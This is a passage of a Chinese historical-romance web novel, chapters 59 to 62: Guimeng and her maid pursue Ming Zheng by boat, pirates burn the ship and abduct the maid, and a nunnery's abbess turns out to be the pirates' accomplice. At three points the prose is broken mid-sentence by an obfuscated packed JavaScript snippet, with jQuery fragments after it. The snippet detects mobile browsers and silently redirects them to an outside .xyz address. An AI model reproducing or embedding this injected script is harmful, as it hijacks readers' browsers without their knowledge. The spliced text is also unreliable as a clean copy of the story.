车夫叹道:“世道艰难啊!实不相瞒,小老儿已有数月不曾接到活计了,这年节也是勉强撑过的。昨日是驿长派人来寻,说是有趟车要出,路途虽远,可差事完了便能到驿站去领两石谷米。” “什么?才两石谷米?”归梦打量了下车夫。天气正寒,他却只穿了件破破烂烂的夹袄,棉絮都已翻了出来,一双苍老枯瘦满是褶皱的手已冻得红肿开裂。 紫芽小声道:“两石米已然不少了。若是三口之家,够吃一月有余了。” “说得是。小老儿家中还有老妻与女娃等我拿米回去下锅。便是辛苦些又有啥。” 归梦默然不语。 乱世之中,人命如草芥。 自出家门,她虽不曾见到战乱中“白骨露于野,千里无鸡鸣”的惨象,但随着离建康越来越远,入目之处确是愈发萧条荒凉。 紫芽知道归梦心中可怜这老车夫,她细声问道:“老丈家中只有一个女儿吗?” “还有个儿子。前些年从军去了,再也没回家过。也不知是死是活了……”那车夫摇摇头说不下去了。 紫芽本是闲聊,不想竟触及了这车夫的伤心事,当下闭口不言。 归梦心中感慨,喃喃念道:“生男慎莫举,生女不用哺……十五从军征,八十始得归……” 这些乐府民歌原是从前听过便忘了的,此时却涌了出来。原来,她曾生活的世界,与外面的世界是天壤之别,实在太过割裂。 “前面就是隘口了……”老车夫大声道。 长鞭轻挥,马车钻入细长的峡道,两侧山壁潮湿幽暗,马蹄的哒哒奔跑之声回荡在峡道内。 约莫行了一盏茶的时间,眼前豁然一亮。原来马车已出了山隘口,总算让人放下心来。 天光微弱,又行一了小段山路,待得到薛镇之时,天色已如浓墨般沉沉欲坠。 这薛镇乃是山间盆地中的一个小镇。地界狭小,一共也没有几片人家。 归梦撩起车帘。不远处几间木舍,屋檐前悬挂着一串昏暗的暖黄灯笼。 马车停了下来。归梦与紫芽在马车上颠了一日,腰酸腿麻不已,下车时差点站立不稳。 这几间土屋颇为简陋,顶上竟还是茅草铺就。难以置信这竟是客店。 车夫解释道:“这镇上一共就这一处客店,临时供旅客歇脚,难免寒酸一些。” 59. 同船渡 紫芽安慰归梦:“罢了,上次连那破烂的祠堂都睡过。这里至少不漏风,还能有正经的床。” 车夫将马车赶到马厩旁去给马儿喂草。归梦与紫芽携了细软走入客店。 柜台后,掌柜招呼道:“二位,打尖还是住店?” “唔,要两间上房,再送些饭菜到房中。”归梦打量着客店中的陈设,随口道。 掌柜犯难道:“不巧得很,小店客房不多,眼下只剩一间了。” “一间怎么够?我们一共三个人呢!”归梦蹙眉。 掌柜疑惑地朝归梦身后看了看:“还有……” 紫芽也不解地看着归梦。归梦解释道:“还有车夫呢。这天寒地冻让他住哪去?” 掌柜咧嘴笑道:“哦,车夫啊!客官您真会说笑。车夫哪里睡不得?马车上、马厩里……哪有车夫住上房的道理?” 归梦瞪了那掌柜一眼:“我的车夫怎就住不得上房了?”说着从紫芽手中拿过钱袋朝柜台上一掷,金珠银锭登时从袋口中流水般哗啦啦滚了满桌。 “就要两间房!若是没有,就把你住的、店里小厮住的腾出来。” 那掌柜吓了一跳,忙不迭地将桌上的金银归拢收拾好,连连点头笑道:“是是是。这天气大寒,谁睡在外头怕是都吃不消。您看这样成不成,便让您的车夫与店小二挤一挤,凑活一晚,我给加床棉被,如何?”说着便大声唤店小二来。 归梦想想也只能这样了,当下努努嘴示意紫芽会钞。 紫芽伸手将桌上的金银大半都塞回钱袋,只留了小部分给那掌柜。 “喂,住一晚,一间半的房,外加一床被子和酒菜。算上赏钱,这些足够了吧?”紫芽掰着指头与掌柜算账。 那掌柜忙应声答道足够了足够了。 “慢着。”归梦又伸手到紫芽手里的钱袋,掏出一小块碎银,放在掌柜面前,压低声问道:“今日可有两名打扮不俗的年轻男子来过?其中有一位气质脱俗容貌极佳……” 掌柜迟疑道:“倒是有一位长相俊美,神仙一般的公子。不过他是孤身一人前来的,定了两间房。”他瞥了一眼后院,轻声道:“现下就在客房里呢。” 一人?归梦喃喃自语:“莫非他与靳风分开了?” 这一夜睡得极不安稳,归梦依稀听到细碎匆忙的脚步声在屋外徘徊。那脚步声似乎还不止一人,有追有赶。 这小客店原也没有几个客人,不知为何夜里竟这样不安生。 当她再次被后院的马嘶声惊醒后,再也忍不住,披了外袍起身。她举着烛台蹑手蹑脚地出了客房,只见院门外闪过一道黑影,一时后脊发寒,快步溜回房中。 这山坳中的镇子,有盗贼匪徒出没也不稀奇。 自从那夜在破祠堂过夜被盗走一匹马后,归梦与紫芽便每夜怀抱着包袱细软而眠,生怕一夜醒来一贫如洗。 归梦悄悄关上房门,却见紫芽正急得六神无主:“梦娘你去哪了?!我以为你被贼人掳走了!” “我听到院外的声响睡不着,所以出去看看。”归梦躺回床上察看一番:“东西都没少吧?” 紫芽摇摇头:“我都抱着藏在被窝中,便是有人来动,也立时醒转了。” “紫芽,你觉不觉着奇怪?从秣陵到丹阳,明明我们是随在明铮后头的,可他却比我们更晚到丹阳驿……还有那夜在祠堂,那贼人为何只偷了一匹马便被惊走了?” “我想不出。大约是明公子临时转道别处去办事故而脚程慢了。那贼人只偷了一匹马是咱们运气好,发现得早。”紫芽叹道:“与其担心钱财被偷,倒不如咱省着点花……梦娘,荆州路远迢迢,这钱花一分少一分,以后可不能如今日这般豪气。” 归梦心知她是在怪她为车夫争房间的时候花钱太大手大脚了。 她吐了吐舌头:“当时没忍住嘛!我保证尽量克制……不过出门在外,该花的还是得花。天都快亮了,再眯会儿吧。” 晨起,归梦紫芽梳洗完毕,携了行装出门。归梦刚打开房门,砰地一下又将房门掩上。 紫芽怪道:“怎么了?” 归梦不答,只小心地将房门开了一条缝,透过门缝窥着门外景象。紫芽也凑上门缝一瞧。原来明铮与靳风正从斜对面的客房出来,险些打了个照面。 二人就这么静静瞧着,直到那抹颀长的白色背影消失在拐角尽头。 马厩外,车夫早已恭候多时,眼见归梦紫芽走来,躬身打了个千。 “小老儿谢过两位公子,我赶了一辈子的车,第一次能在客店里面过夜……“老车夫满面感激之色。 归梦笑道:“无妨。这附近可有市集?” 车夫想了想:“离此最近的市集是在黄池镇上。若是去荆州,本也要经过那里。” “好,这便走吧。不过有劳你教教我,我要学着驾车。” 归梦说着便抬腿登上车辕。 去黄池镇的路一走便又走了整整一日。 走完了山路,便上了官道。 紫芽与归梦轮流习着驾车,车夫在旁指点着,待到黄池镇时,归梦驾车已是有模有样了。 黄池镇隶属宣城郡芜湖,算是到了扬州的地界了。 九州四海,风光各不相同。马车在宽阔的官道上飞驰,扬起阵阵尘土。 归梦驾着车,极目望去,远处的青弋江浩浩汤汤,水势汪洋。江水滔滔,雄伟壮丽,令人心胸为之一阔。 芜湖,据说前朝吴将周公瑾曾在此点将,不知那是何等的气吞万里,英雄气概? 若是待在家中,恐怕此生都不会有机会见到这般的景致。 是时夕阳落山,青弋江畔的市集正是热闹。 老车夫轻车熟路地在市集上挑了两匹骏马。归梦命紫芽拿了不少银钱给他。 “老丈,你即日便可驾车返回丹阳,早些回去陪你的妻女。底下的路,我们自己走便成啦。” 车夫手捧着银钱发怔,半天才反应过来,千恩万谢地离去了。 紫芽牵着马,担忧道:“梦娘此刻便让车夫走了,咱们岂不是又要骑马了?” 归梦笑道:“你当驾车是白学的吗?回头这两匹马套上车,咱俩轮流驾车。” 二人正在市集中边说笑边逛,忽闻前方人群一阵骚动。 紫芽道:“像是前面码头在喧闹。”二人朝前挤了几步,走到江畔。紫芽双目一亮,遥遥一指:“梦娘快看!” 百步之外的码头,行人客商往来不绝,岸边停靠着几艘载货的商船。 有两名男子牵着马,缓缓走上其中一辆商船的跳板。远远望去,其中一人白衣翩然,风姿俊逸,正是明铮。 “原来他们要乘船改走水路。”紫芽推了推归梦:“幸而发现他们了,我们快跟上。” 归梦与紫芽牵着马一溜小跑着到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816860|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码头。走近了才发现,这几艘船颇具规模,至少能容数十人,承载百余石的货物。 她们牵着马正要踏上跳板,却被旁边一名指挥着船工装卸货物的像是管事模样的男子伸手拦住。 “你们什么人?” 紫芽赔着笑道:“我们想搭船。” 管事男子挥手驱赶:“去去去,我们是商行的货船,不载散客。” 归梦不服道:“我方才明明看见两名男子拉着马上了这艘船。” 管事“哦”了一声反应过来,轻笑一声:“那两位公子持有官府的符节,当然可以搭船。何况,他们也给了船资……” 归梦截口道:“我们也可以给船资,我给双倍,如何?” 管事迟疑着打量她们一番:“你们要去何处?” “去荆州。” “我们这船不到荆州。” 归梦一愣:“那是去哪?” 管事不耐道:“我们这船上载的货物是要送去寻阳的。搭上你们便担了不少风险,这船资嘛……少说每人十两银!” 归梦微微一笑,掏出几块银锭:“这里大约有四十两了。劳烦给我二人单独的一间客舱,每日再将三餐送进舱来。” 管事接过银两,立时眉花眼笑。 “好说好说。只是这马匹不能带上船。船上堆了粮食与织物,另有数十名船工和客商,加上方才那两位公子的马,实在是没有多余位置再容纳了。” 是夜,舱内一灯如豆。紫芽收拾好了床铺,抬头见归梦以手支额,若有所思的样子,忍不住问道:“梦娘在想什么?” 归梦叹了口气:“我在想,我这般冒失地追着明铮离家,对是不对?自出家门,我见着这世道艰难,民生凋敝,平民百姓皆在艰难苟活。而我生来拥有那么多,却日日只想着情爱之事。相形之下,我这一点子求之不得的烦恼属实算不了什么了。与明铮一比,我也太没出息了。我们女子在乱世之中,到底可以做什么呢?” 她见紫芽不语,续道:“那日在师傅面前我放出豪言壮语。说我想看四海辽阔,不愿囿于宫廷家宅。可若无一身本事,恐怕自身难保,更遑论建功立业?” 紫芽温声道:“梦娘不是随郭师傅学了些本领……” 归梦摇摇头:“我所习得的,不过皮毛罢了,顶多能在街上摆摊混口饭吃。所谓‘书到用时方恨少’,从前真是虚度光阴,离了家,才知道自己什么也不是。” 紫芽听得头大,朝床上一躺。 “梦娘怎地多愁善感起来了?依我看,女子生来身不由己,想有所建树,要么便如明妃昭君一般嫁去匈奴和亲,要么便如钟离春一般做个贤后,帮着国君治国。” 归梦想了想,反驳道:“如你所说,难道女子便只能做男子的附庸吗?商朝时,妇好一介女流也能统帅带兵,多次出征,战功赫赫。还有秦时寡妇巴清,虽是商人却资助秦国建了长城以御外敌……” 紫芽笑着说:“可是妇好是嫁给了商王。寡妇清也是嫁过人的……” 归梦说她不过,佯怒道:“你这死丫头满口都是‘嫁人嫁人’,我看是你想‘嫁人’了。早知道原先在家时就该给你说门亲事。瞧我不撕烂你的嘴……”说着扑到床上,两人嬉笑扭打一阵。 舱门外似乎有人发出一声轻笑。归梦耳朵极是灵敏,脱口道:“是谁?” 起身开了舱门一瞧,却半个人影也无。 60. 同船渡(二) 紫芽担忧道:“梦娘你说,咱们会不会露了富,这船上说不定有贼人觊觎钱财……” 归梦摇摇头:“应当不会。商船只载了咱们几个散客,大多都是商行里的伙计与船工。” 白日间,商船自青弋江口向西行了一日,经过鹊尾洲,天黑了便下锚停靠在岸边。 夜间行船多有危险,极易触到暗礁。 此时只是孟春,天气寒冷,多有遭遇河流结冰与浅滩之时,必要时少不了船工用铁钳破冰以及纤夫拉船。 天边残阳如血,归梦站在船头,目睹那些苦人们在严寒中只着单衣,将又长又粗的纤绳绑在腰间负在背上,弓着身子喊着整齐划一的号子一步步艰难地拉动着船。他们喘着粗气,豆大的汗水从额上滑落,纤绳似乎也要嵌进皮肉里去了。 她于心不忍,此时此刻站在船上也为纤夫增加了一份重量,似乎也成了打熬他们力气,消磨他们血肉的凶手之一。 归梦有些气愤地唤来管事:“为何纤夫拉船之时不让众人下船?” 管事闻言啼笑皆非。“您在说笑吧?这一上一下折腾多耗费时辰哪!按您的意思,是不是还得把货物也一并卸下减轻些份量?他们赚得就是这份力气钱……” 归梦怒道:“你别以为我不知,他们费尽了气力,也只能赚得温饱罢了。我这里有些银钱,你拿去分与他们!” 管事摇摇手道:“您还是省下吧!俗话说食髓知味,您是好心打赏,可如此一来平白抬高了他们身价,往后我这的生意还能同他们做吗?”说罢,打了个揖甩手而去。 归梦愣在原地说不出话来。她生性单纯善良,却不曾想行有行规,好心善意也会招致不好的后果。 紫芽在旁柔声劝道:“甲板风大,还是回舱去吧。” 二人自船头一侧走回客舱,忽见一个明铮的随从靳风自船尾迎面走来。 归梦眼疾手快拉着紫芽转过身,快步从另一端绕回。 关上舱门,紫芽长出了口气,叹道:“梦娘还不打算见明公子吗?这船说大也不大,抬头不见低头见的,这样日日躲着也不是办法。” “现下离荆州还远呢!若是教他知晓,他说不定会费尽心思甩掉我们。那时再要寻他岂不困难得多?” 如此又过了五日,归梦终于也受不了了。这船上舱室狭窄不通风,若要透气只能去甲板上。 偏偏她又不喜人多眼杂。 再有,这船上饮食单一寡淡,并无什么新鲜瓜果,三餐中有两餐都是白粥饼子配上菜头,偶有荤腥也是鱼脯肉干,吃得人直欲作呕。 她不惯水性,甚少坐船,这商船虽庞大结实,可终归是船,风高浪急之时免不了颠簸摇晃。船身摇晃起来,人也跟着头晕眼花,胸闷恶心。 连日来本就胃口不佳,吃进去的少许又因晕船吐了个干净。 眼看着一张芙蓉秀面干瘪消瘦了不少。 归梦命紫芽将管事请来,有气无力道:“还有几日能到寻阳?” “少说还有五日的路程,这还得看天色。” 紫芽焦虑道:“可有近道可走?能缩短些日程也是好的。” 管事大皱眉头:“若是借道雷池可省三日的日程。只是那里水浅沼泽多,船只容易淤陷。除非找当地的渔民引路……” 紫芽与归梦对视一眼,对那管事恳切道:“我家公子实在受不得这船上风浪。麻烦您同舵手说一说,便行个方便,抄近路走。不管是请渔民引路还是旁的什么花费,都算在我们头上。”说着走近一步,塞了两颗金珠在管事手中。 那管事颇为迟疑,在他掂了掂手上金珠的份量后,终是忍不住答应了下来。 商船果然改道而行,归梦听到船工们一边拉扯着白帆一边大声议论着行程。 船逆流而上行了半日到得雷水口,又转入雷水河道。管事来回了一次话,说是已找了渔民来引路,归梦自然又给了一些银钱。 紫芽忍不住骂道:“这管事当真贪财,知道梦娘你出手大方,便来索要无度。” “罢了,出门在外比不得在家,能用钱打发解决的人和事儿反而简单。” 紫芽犯愁道:“我就是怕再这般花费下去,还未到荆州咱们就要喝西北风了。” 归梦失笑:“怎会?咱们不是还有一些首饰不曾变卖?待到了寻阳,找间当铺,当来的钱恐怕用个一年半载都不成问题。” “那也得平安到寻阳再说。”紫芽仍是有些担忧:“我照郭先生的吩咐,在咱俩的内衣上都缝了个小袋,又放了几颗金珠碎银在里头。万一真遇到贼人,即使包袱和钱袋没了,也不至于身无分文。” 这日天光昏昧,乌云成片,没过多久便淅淅沥沥地下起雨来。船工们一边咒骂着一边穿起蓑衣。 好在有渔民指引,商船有惊无险地穿过了沼地。 紫芽出舱探过情形后来报:“太好了,这样后日便可到寻阳了。”她看着归梦苍白的面容,叹道:“等一上岸,还是请个大夫来瞧瞧。” “哪里用得着?”归梦半躺着,直了直身子:“下了船吃些清淡滋补的,没两日自然就好了。” 是夜,二人本安稳睡着,忽听甲板上一阵骚动,外面呼声震天:“走水了,走水了——” 紫芽与归梦同时惊醒,慌忙穿上外袍起身。 二人出了舱门,只见船头火光冲天,船工与商行伙计吊着水桶从江中打水,来回奔走忙着灭火。 归梦随手拉住一个经过自己面前的船工,问道:“发生何事?” “不知是哪个糊涂鬼打翻了破冰用的火油,引燃了船上的粮草……”那人说完匆匆赶去灭火了。 船头火势越烧越旺,浓烟滚滚飘来,眼见着大火已控制不住。 四周均是焦急的叫喊呼喝之声。不知是谁喊了一句:“该死,脱锚了!谁干的?” 船上众人惊觉,商船竟已漂得远离岸边,荡到了江心。眼看着船只损毁,却不得上岸。 紫芽急道:“梦娘,我们怎么办?” 归梦喃喃道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816861|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“明铮……我要去找他!”她此刻脑中只能想到,明铮有危险,倘若他此时还在睡梦中,留在船上岂不是要活活烧死? “咱们回舱取了包袱,便一道去寻明公子!”紫芽伸手拉住归梦,以防二人走散。 二人急回舱室,却见一人低头鬼祟地从他们的舱室中出来。 “你是谁?你穿的不是船工的服色。”归梦叫道。 那人不答,只是快步逃离。 紫芽抢进舱室一看,叫道:“梦娘,我们的包袱不见了!” “站住!”归梦疾步追去,那人撒腿便朝船尾奔去,好在船并不大,直奔到船尾他便再无路可去了。 夜深如墨,近凭借一点跳跃火光看不清对方的容貌。归梦依稀瞅见这人怀中鼓鼓囊囊的,藏的必是她们被盗的包袱。 “喂,把包袱还来,我让你走。君子爱财取之有道,你若是缺钱我可以给你!犯不着偷……”归梦一步步走近,将那人逼得后背已贴上船舷。 那人伸手支贴近嘴唇,呼哨一声,船尾很快又赶来两个灰衣人。 “臭小子,你自己显摆露了富,就别怪咱们惦记,干你这一票,够咱们兄弟吃喝好几年了。也不枉费咱们装成渔民混上船来,哈哈哈……”为首一人声音粗嘎,放肆地笑着。 “你们,你们是什么人?这船上的火是你们放的?船锚也是你们拔的?”归梦颤声道。 “不错。咱们兄弟便是江上的水匪,这可是今年的头一遭生意,碰上你这条大鱼。身上还有什么值钱的物事,乖乖交出来吧!”三人一步步朝紫芽与归梦逼近。 归梦迅速从腰间掏出一物:“别过来!” 还好这匕首她是随身携带着。雪白锃亮的锋刃在黑夜中划过一道白光。 三个水匪不料她竟还携有刀刃,立时后退了一步。 归梦压低声音对紫芽道:“我挡他们一挡,你快跑,去找明铮!” “不成!要跑也是梦娘你先跑!”紫芽说着劈手夺过归梦手上的匕首,将她狠狠一推:“快跑!” 归梦被她推了个踉跄,一咬牙转身朝着火的船头跑去。 身后有人喊“追”,却似是被紫芽所阻。 她不敢回头,只拼命地朝前跑去。 船头乱成一片,压根无人注意船尾竟有水匪在劫掠。 船工与水手抢了仅存的尚未烧毁的救生舢板,掷入江中,跳水逃生。 归梦被浓烟呛得连连咳嗽,熏得睁不开双眼,船头已烧毁即将坍塌,烟雾弥漫一片,根本看不清舱中是否还有人。 “明铮,你在哪?快去救救紫芽——”她绝望地哭喊。 忽地有人伸手抓住了她的背心,她紧闭双眼本能地挥舞着双手,挣扎嘶喊:“你们这帮匪徒,走开,走开,别过来——” 她身子本临近破损的船舷,此时挣扎着后退,脚下又踩到湿滑的水渍,身子一倾,便落入江中。 江水寒冷刺骨,兼之她不识水性,呛了几口水,很快便失去了意识。 61. 浮萍聚 “紫芽,救救……”归梦昏沉沉睡着,口中断续无意识地呼喊着。 “你醒了吗?”恍惚间听见有男子低沉的声音凑近,她猛地一激灵,如被火灼烧一般,眼未睁开手便朝那声音挥去。 “走开、走开,你们这群坏蛋……放了紫芽,放开我!”手腕一紧,已被人牢牢握住挣脱不开。 “小梦,你看清楚,是我。”男子沉声道。声音熟悉好听,蕴着让人安稳的魔力。 归梦努力撑开沉重的眼皮。她瞧见了那张脸。 明铮一双隐含关切的俊目如熠熠朗星,正微笑着看着她。 “远书——”她再也抑制不住情感,扑进他怀里。连日来的劳累,遭遇的惊吓,在见到明铮的这一刻都化成了泪水与缠绵。 一把抱住明铮,紧紧揽住他的脖颈,嗅着他身上那不变的沉水香的气息,一颗心都颤抖了起来。 顷刻,她复又松开他,用手抚着他的脸,仔仔细细辨认着,确定不是在梦中,不是她的幻觉。 往日冠玉般的面庞上赫然多了一道伤痕。明铮右脸的颧骨旁有一条细小的划伤,如白玉爆裂了一丝血色花纹。像是刚被人用指甲抓伤的。 她忽然明白过来,是方才她在梦魇之时半梦半醒间抓伤了他的脸。 那张俊美无俦的脸竟然被她抓破了。 她抬起手,看着自己纤细而尖尖的指甲,泣声道:“对不起,你救了我,我……我却划破你的脸。”猛地握紧掌心,水葱般的指甲顿时折断,她狠狠地将断甲丢了出去。 离了朱门绣户,这劳什子长指甲只能伤人伤己罢了。 明铮安慰道:“不过是一条小口子罢了,药都不用敷几日便好了。” 归梦还欲朝他怀里钻,他却伸出手制止了。 她委屈地抬起泪眸,才发现原来屋内除了明铮,尚有旁人。 一个身着灰色布袍佛衣的中年女尼走近,伸手过来探了探归梦的额头。 “这位小檀越正发着烧,待贫尼去熬一剂治风寒的药来。”她对明铮说道。 “有劳师太。”明铮双手合十还了一礼。 那尼姑走后,归梦仔细打量,这是一间简净的禅房。她此时正躺在禅房的素榻上,长发披散,身上的衣服……竟也换了件宽大的灰色佛衣。 明铮解释道:“你落入江中浑身湿透,我……不方便替你更衣,正巧发现附近有一座尼姑庵,便带你来了。” 他又救了她……这是第几次了? 归梦双颊发烫,大约她真的烧得厉害了。 她忽地想起来,叫道:“快,快去救紫芽,她一定是落在水匪手里了!” “紫芽?是你的那个贴身侍女?”明铮问道。 归梦攥着他的手臂:“是,她也是我的姊妹!求你……远书你快去救她,迟了就来不及了!” 明铮颔首道:“我知道了。你放心,昨夜水匪的同伙一摸上船,我便让靳风拿了符节去找官府派兵,只是火势蔓延得太快,商船烧毁了大半。所幸没有性命伤亡,落水的也都救了上来。水匪抓到了两个,还有几个给他们走脱了。” “那紫芽定是被逃脱的水匪抓走了!”归梦抽抽噎噎道:“都是我不好,那帮水匪是扮成渔民做了内应才顺利摸上船的。若不是我执意改道缩短路程,也不需要找渔民来,也就不会有这样的祸事发生了……” 明铮淡淡道:“既是已经发生的事,自责也是无用。” 归梦心中内疚,听他话中并无些许安慰,忍不住问道:“你……你是不是早就知道我们一路跟着你?” 明铮并未回答,只道:“你乖乖在此歇息,我找到紫芽便将她送来这里。” “不,我不要一个人留在此处!我要同你一道去!”她掀起被褥欲要起身,眼前却是一黑,身子软软地倒了下来。 明铮无奈叹气,重又将被子给她盖好。 归梦却硬拽着他的手不放一直央着他带自己一起去寻紫芽。 方才那名中年女尼端了药碗走了进来,见状柔声劝道:“小檀越身子乏力,合该好好休养,便暂且安心留在此处。喝了这碗药睡一会儿。待你醒来,或许明檀越已将你的姊妹寻回。” 明铮笑道:“说的是,你身子虚弱,我带着你岂不多了一层负累,倘若与人动起手来还要顾着你,如何全心去寻紫芽呢?” 归梦闻言,只得泪眼汪汪地松开了手。 明铮替她掖了掖被角,起身离去。 那中年女尼笑着走到榻边坐下,扶着归梦微微坐起,给她喂药。 “贫尼法号法净,是这无色庵的住持。”她很是细心,每舀一勺都先吹凉了,再喂给归梦。 “有劳师太了。”归梦强忍着这乌黑药汁的酸苦,一口口咽了下去。 很快药碗已空,法净师太扶着归梦躺下:“这药能退热安神,你且安心睡一觉吧。” 归梦道了声谢,摸了摸身上宽大的粗布佛衣。她从小到大还没穿过旁人的旧衣。 “师太,不知我换下来的衣物……” “哦,我已拿去浆洗了,等晾干后便拿来给你。”法净师太却仍坐在她的床边不离去,只笑着看着她。 她被看得有些不自在,问道:“师太还有事吗?” “呵呵,无事。贫尼只是觉得……姑娘你生得真美……” 生得真美?归梦礼貌地笑了笑,恐怕是在这穷乡僻壤,这师太少见多怪吧。她美则美矣,建康城中美女如云,她又算得了什么。 “还有方才那位公子,真是神仙一般的人物……” 这师太也真奇怪,一会儿唤她“檀越”,一会儿又唤她“姑娘”。出家之人不是六根清净四大皆空吗?怎地还会唤“姑娘”这等俗称,还特别在意容貌美不美…… 归梦倦怠地合上双眼,一股极强的困倦之意袭来,她也顾不得那师太还不曾离去,也无力再去想这些,再也支撑不住,沉沉睡去。 不知睡了多久,归梦醒来之时仍有些头昏脑胀。 这治风寒的药里,安神助眠的剂量有些重啊…… 她支起身子,发觉身上汗涔涔的,发了这么一身汗,烧总算是退了。 屋子里昏黑一片,未曾点灯,她低头在地上摸索着,竟没寻到鞋子。难道是师太疏忽了,只给她换了衣服,忘记备下鞋子么? 她只得光脚踩在冰凉的地上。下了床,她惊异地发现,这竟不是白日间她住的那间禅房!借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827279|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着窗外投进来的一点月光,她看到屋内陈设全变了。 竟有人在她睡着之后将她挪到现在这间屋子里……莫非,明铮已然归来了? 她顾不得地面冷硬,赤着脚推门走了出去,刚走了两步,便撞见法净师太携着一名小尼姑迎面而来。 法净师太见她站在门外,微微一怔,随即和蔼笑道:“身子刚好些,怎不多躺一躺?”她目光下移,见归梦赤着双足,忙道:“女儿家的双足最是矜贵,快进屋,仔细再添一层风寒。” 法净命那小尼姑点上灯,取了一双鞋袜并一套干净的佛衣来给归梦换上,又亲手喂归梦喝粥。 归梦见她对自己如此关切倒有些不好意思了,满肚子的疑问也打消了不少。 法净师太说是为了让她养病,故而给她换了更安静的禅房。 听法净师太说起明铮尚未归来,她不由得大失所望,心中既担忧紫芽又担忧明铮,自然也没了胃口。一碗粥只喝了半碗便推托着不喝了。 法净劝道:“小檀越勿要担忧,吉人自有天相。你那位同伴想必也是如你一般聪慧美貌,定能逢凶化吉。” 归梦默默点了点头。她打了个哈欠,只觉身子又开始乏力。 法净见状也嘱咐她好好休息,起身走了出去,并仔细带上了门。 夜已深沉,月至中天。归梦做了个噩梦。 梦中见紫芽与明铮俱被贼人掳走,她追之不及,大声呼救却喊不出声。惊惧之下,猛然惊醒。还好只是个梦。 她下床至屏风后如厕,发觉身子依然笨重乏力。不过一次落水高烧而已,怎就虚弱至此……看来这些日子在船上吐得多吃得少,到底是虚耗了身体。 她正准备躺回床上,却忽地依稀听见了几声呼哨。这呼哨声倒像是夜枭声,听了有些毛骨悚然。她努力回忆着,仿佛近来在哪里也听过这样的呼哨声,却怎么也想不起来。 她迷迷糊糊地准备再度入睡,却听到有匆忙的脚步声、谈话声自院落里传来。因着夜深人静,一点点的动静便有着不小的回声。 她按捺不住好奇心,小心翼翼地穿上鞋袜与佛衣,推开门轻手轻脚地溜了出去。 她之前刚出门便遇上了法净师太,故而不曾留意,此时借着昏暗月色仔细观察,原来这一片全是厢房,其中一间亮着灯,声音便是从那间传来的。 “这次送来的什么货色?” 归梦躬着身子躲在窗棂格子下听着。这声音,分明是法净师太,不知深夜之中她在和谁叙谈? 有些沙哑粗嘎的男声响起:“这次真是倒霉透了!船上的货烧毁大半,老二和老四也被抓了,好在弄了点银钱。喏,还有这娘们!你看看,还算标致吧?” 归梦闻言险些惊叫出声,慌忙捂住自己的嘴。 她难以置信地慢慢直起一点身子,用手指轻轻戳破窗户纸,透过小孔朝里看去。 屋内摆设华丽,竟不下于普通富绅之家。 一张紫檀木圆桌旁,坐着法净师太与一名灰衣男子,她身后站着两名妙龄女尼。灰衣男身旁另有几个蓬头垢面的灰衣大汉或站或蹲,一边的地上赫然倒着一名昏迷的女子。 那身形、衣衫,不是紫芽又是谁? 62. 尼庵囚 她又细看那帮灰衣大汉,那夜在船上,虽看不清他们的容貌,但是观其身形、听其声音,再加上紫芽也在他们手上,确是那帮水匪无疑。 归梦心如油煎,目眦欲裂。 这法净师太究竟是什么人,为什么会与这些水匪有来往? 法净师太上前两步,弯腰伸手拨去紫芽凌乱的长发,摩挲着她的下巴仔细端详一番,满意地点点头:“倒是有几分姿色。只是……”她斜瞟了那群灰衣人一眼,缓缓起身:“经了你们手里,还能干净么?” 那为首的灰衣人急得啐了一口:“哥几个可没碰过她。不信你检查便是了!这娘们脾气烈得紧,要不是想着送她来你这换点银钱,我早一刀杀了。何苦巴巴把她送来?” 法净师太掩唇笑道:“得了,我不过白问一句,瞧你急的。不过话说回来,你巴巴地将她送到我这无色庵来,怕也不全是为了赏银吧?” “嘿嘿。咱也不瞒师太你,这次货烧毁了大半还惊动了官府,大人必然震怒。我知道大人平日最愿意来你这消遣。若是能让大人开心,你再帮着美言几句,这事也就过去了。何况要捞老二老四出来,还得大人出马……” 法净师太不掩得色,笑道:“真是猴精。我说你们这伙人素来见不得荤的,这次怎也管得住嘴了。只是……我这里的人也渐渐多了,开销也大,银钱嘛,恐怕是拿不出的。至于捞你那俩兄弟的事,包在我身上了。”说完唤过身边的两个小尼姑,架起紫芽朝后堂去了。 归梦又气又急。显而易见,这无色庵就是个狼窝,法净师太与那水匪沆瀣一气,都是一伙的。 怎么办?怎么办!她心中急转对策,却想不出一条可行的计谋。 若是明铮在就好了…… 明铮去寻紫芽的下落,却不知那伙歹人竟偏偏将紫芽也送到无色庵来了。 归梦此时深恨自己手无缚鸡之力,她若是有一身武艺,定要把这伙贼人痛打一顿,再送官法办。 往日在天子脚下,无人能欺得她去。可现下面对这些恶人,唯有拳头才能自保。 她不敢声张,躬着身一步步地从窗下退走。 